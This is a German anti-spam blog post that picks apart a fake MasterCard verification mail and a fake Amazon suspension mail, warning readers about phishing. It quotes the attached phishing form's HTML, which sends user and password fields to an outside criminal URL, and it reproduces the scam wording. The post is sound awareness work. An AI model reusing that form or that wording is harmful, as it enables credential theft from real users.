Mach schnell, sonst wird es teuer! Sonst gibt es grundlos und vertragswidrig erhobene „Gebühren“. Nicht nachdenken, sondern in eine Mail klicken! Ist auch ganz einfach!

(„MasterCard“ weiß übrigens nicht, wie man in deutschsprachigen Mails Eurobeträge formatiert. Woher sollen die das auch wissen? Was haben die schon mit Geld zu tun?)

Bitte klicken sie auf den Link um Ihre Verifizierung durchzuführen!
MasterCard | Verifizierung

Der Link führt natürlich nicht zur Website von MasterCard, sondern zu einem von Kriminellen kontrollierten Webserver. Dort…

…bekommt man die Gelegenheit, in einer „liebevoll“ nachgemachten MasterCard-Seite einen Datenstriptease vor Kriminellen zu machen und sich durch die nachfolgenden Betrugsgeschäfte der Kriminellen genug Ärger für zwei bis drei völlig vergällte Lebensjahre einzufangen, mit denen hoffentlich jeder etwas Besseres anzufangen weiß. Ja, mit den so eingesammelten Daten wird jede nur denkbare Form des Betrugs durchgeführt, und schnell füllt sich der Briefkasten mit Vorladungen zum Untersuchungsgericht, Mahnungen, Rechnungen, Inkassoschreiben und scharf formulierten Briefen. Und das alles nur, weil man in leichte Panik versetzt wurde und deshalb…

…nicht auf die Adresszeile seines Browsers geschaut hat, in der sofort aufgefallen wäre, dass man die Daten nicht auf der Website von MasterCard eingibt.

Deshalb klickt man nicht in eine E-Mail. Und schon gar nicht, wenn da drinsteht: „Klicken sie jetzt, oder sie müssen völlig grundlos fünfzig Euro bezahlen!“. Auch nicht, wenn die Sprache einigermaßen unfallfrei ist und das Design zu stimmen scheint. Design lässt sich leicht übernehmen, und der Absender einer E-Mail ist beliebig fälschbar. Das einzige, was den Absender einer E-Mail jenseits jedes vernünftigen Zweifels sicherstellt, ist eine vom Empfänger anhand des öffentlichen Schlüssels des Absenders überprüfte digitale Signatur der E-Mail. Warum ihre Bank, ihr Chef, ihr Händler E-Mails nicht digital signiert? Stellen sie diese Frage ihrer Bank, ihrem Chef, ihrem Händler! Deren digitale Doofheit schafft das Biotop, in dem die Phishing-Kriminalität gedeihen kann – zum Schaden aller anderen Menschen.

Ach ja, ich habe es oben schon angekündigt: Das Wort „verifizieren“ findet sich beinahe ausschließlich in Phishing-Mails.

Mit freundlichen Grüßen,
MasterCard Kundenservice

Wenn das die Freundlichkeit ist…

Oh, aber eines ist wirklich erfreulich: Die Phishing-Seite ist eben gerade vom Netz genommen worden. Manchmal geht es ja doch schnell… 😉

¹Es handelt sich um den Server unter www (punkt) osbornesofmaidenhead (punkt) co (punkt) uk. Die Indexseite dieses Servers ist eine Weiterleitung zur Phishing-Seite in einer Domain, deren DNS-Server offensichtlich gecrackt wurde. Ich habe die Administratoren bereits über den Crack informiert.

Ihr Amazon-Konto wurde ausgesetzt

Mittwoch, 23. März 2016

Und ich habe doch gar keines… 😉

Von: amazon (punkt) powering (at) msg (punkt) afterbuy (punkt) de
An: gammelfleisch (at) tamagothi (punkt) de

Diese Spam geht an alle möglichen aus dem Internet eingesammelten Adressen, und der Spammer fälscht zwar den Absender, ist aber zu doof dazu, es so zu machen, dass der Absender auch wirklich nach Amazon aussieht. Aber zum Ausgleich…

Hallo von Amazon-Sicherheit,

…sieht die Anrede auch nicht ganz so überzeugend aus. 😀

Hier ist eine wichtige Nachricht von Amazon.de. Bitte lesen Sie diese Nachricht sorgfaeltig durch, da sie Ihr Kundenkonto bei Amazon.de betrifft.

Wir ueberpruefen routinemaessig Kundenkonten. Bei der Pruefung Ihres Kundenkontos erhaertete sich leider unser Verdacht, dass ein Unberechtigter Zugriff auf dieses hatte.

Aus diesem Grund haben wir Ihr Kundenkonto voruebergehend gesperrt. Niemand kann derzeit auf Ihr Kundenkonto zugreifen, Sie eingeschlossen.

Oh, wie bitter! Amazon nimmt jetzt wohl auf seiner Website über eine noch völlig unbekannte Schnittstelle den Besuchern Fingerabdrücke ab, und wenn jemand das richtige Passwort eingibt, aber den falschen Fingerabdruck hat, dann wird einfach der Account gesperrt. Und es gibt nur eine einzige Möglichkeit, was man dagegen tun kann:

Um Ihr Kundenkonto zu entsperren, befestigt auf diesem E-Mail [sic!] sie haben das Formular.

Bitte laden Sie das Formular und geben Sie Ihre Daten.

Man muss den Anhang einer E-Mail öffnen, die von Unbekannten mit gefälschtem Absender und voller falscher Behauptungen in recht fragwürdigem Deutsch versendet wurde. Auch, wenn da diesmal keine Schadsoftware dranhängt¹, sondern nur ein krimineller Versuch, an die Passwörter anderer Leute zu kommen, ist das Öffnen von unverabredeten Anhängen in E-Mails immer eine ganz schlechte Idee.

Übrigens sieht das Formular im angehängten HTML-Dokument – was nach der stümperhaft formulierten Phishing-Spam gar nicht zu erwarten war – recht gut aus:

Das gesamte Design besteht nicht etwa aus Texten, sondern ist ein großes Bild, das bei einem anonym nutzbaren, kostenlosen Bildupload-Dienst hinterlegt wurde. Natürlich habe ich directupload (punkt) net schon mit einer Mail darauf hingewiesen, dass der Dienst von Spammern missbraucht wird und erwarte deshalb eine baldige Löschung dieses Blendwerkes. Leider ist das nur ein Tropfen auf dem heißen Stein; ein neues Bild ist schnell hochgeladen und ein paar Millionen Spams sind schnell versendet, der Schaden wird schnell seine naiven Opfer auf anderem Wege finden. 🙁

Was auch immer man in diesem angehängten HTML-Dokument eingibt, geht nicht etwa zu Amazon, sondern…

<form method="post"
action="http://www.desentupidoraapolinario.com.br/zmd/404.php">
<input
style="top: -83px; height: 17px; left: -949px; width: 223px;"
id="user" name="user" value="" type="text" required/>
<input style="top: -99px; height: 17px; left: -949px; width: 223px;"
id="pass" name="pass" value="" type="password" required/><input
style="top: -123px; height: 20px; left: -890px; width: 165px;"
id="submit" name="submit" value="" type="submit">
</form>

…wird an eine deutlich weniger Vertrauen erweckende Domain gesendet. Aber das ist ja auch gar keine Überraschung, denn es handelt sich um eine Spam.

Und nein: Es kann nicht dazu kommen, dass eine ähnliche Mail einmal „echt“ ist. Solche E-Mails sind immer Phishing-Versuche. Amazon versendet keine E-Mail mit Anhängen, in denen Formulare liegen, in denen der Empfänger sein Passwort eingeben soll, und übrigens auch keine mit Links auf derartige Formulare. Und genau das Gleiche gilt für jeden anderen Anbieter von Webdiensten. Und natürlich auch für jede Bank. Und einfach nur generell. Die einzigen Menschen, die so etwas machen, sind Kriminelle.

Es ist also gar nicht so schwierig, nicht darauf hereinzufallen.

Selbst, wenn man sich einmal unsicher ist, sollte eine E-Mail niemals ein Grund zu panischem Geklicke werden, denn Kriminelle verstehen sich darauf, Menschen zu überrumpeln. Sie leben schließlich davon, dass ihre fiesen Tricks zumindest manchmal funktionieren. Immer vor dem Klick nachdenken. Und im Zweifelsfall einfach rückfragen.

Sobald Sie dies tun, werden Sie Ihr Konto wieder verwenden, um Produkte auf Amazon Europa zu verkaufen!

Freundliche Muller,
Das Amazon Services Team

Freundliche was?

Wenn Sie solche E-Mails nicht mehr erhalten mцchten, kцnnen Sie sich hier abmelden.

Ist ja schon ein bisschen peinlich, wenn man dabei den Link vergisst, nicht?

Aber der Kriminelle hat seine eigentliche „Botschaft“ ja rübergebracht, und jetzt ist er mit seinen Gedanken schon wieder bei den Nutten, so dass die Sorgfalt für eher formale, unwichtige Dinge eben nachlässt. Wenn man darauf achtet, kann man derartige Fehler in sehr vielen Spams sehen. Wenn sich der Spammer Mühe geben wollte, könnte er ja gleich arbeiten gehen.

© 2016 Amazon.com Inc. oder Tochtergesellschaften. Alle Rechte vorbehalten. Amazon Services Europe S.а r.l. 5 Rue Plaetis L-2338 Luxembourg, Handelsregisternummer Luxemburg: B-93815, Gesellschaftskapital 37.500 EUR, Gewerbelizenznummer: 100416, USt.-Identifikationsnummer Luxemburg: LU 19647148.

Nein, diese Spam wurde von einer dynamischen IP-Adresse eines Kunden bei einem Telekommunikationsanbieter aus Arizona, USA versendet; mit an Sicherheit grenzender Wahrscheinlichkeit handelt es sich um einen mit Schadsoftware feindselig übernommenen Rechner, der Teil eines Botnetzes ist. Diese Spam hat niemals einen Server von Amazon gesehen.

Einmal ganz davon abgesehen, dass beanspruchtes „geistiges Eigentum“ für eine automatisch erstellte E-Mail ein geistiger Dünnpfiff ist, auf den kaum noch eine Satire möglich ist. Aber das machen leider nicht nur Spammer, sondern auch andere Idioten.

¹Ich weiß, das hier keine Schadsoftware enthalten ist, weil ich mir den Quelltext des angehängten HTML-Dokumentes angeschaut habe. Es gibt keine andere Möglichkeit, das herauszubekommen. Ein Antivirus-Programm versagt regelmäßig, wenn es mit den neuesten Entwicklungen der Kriminellen konfrontiert ist.

Unser täglich Spam

Aus dem Internet frisch auf den Tisch. Köstlich und aromatisch.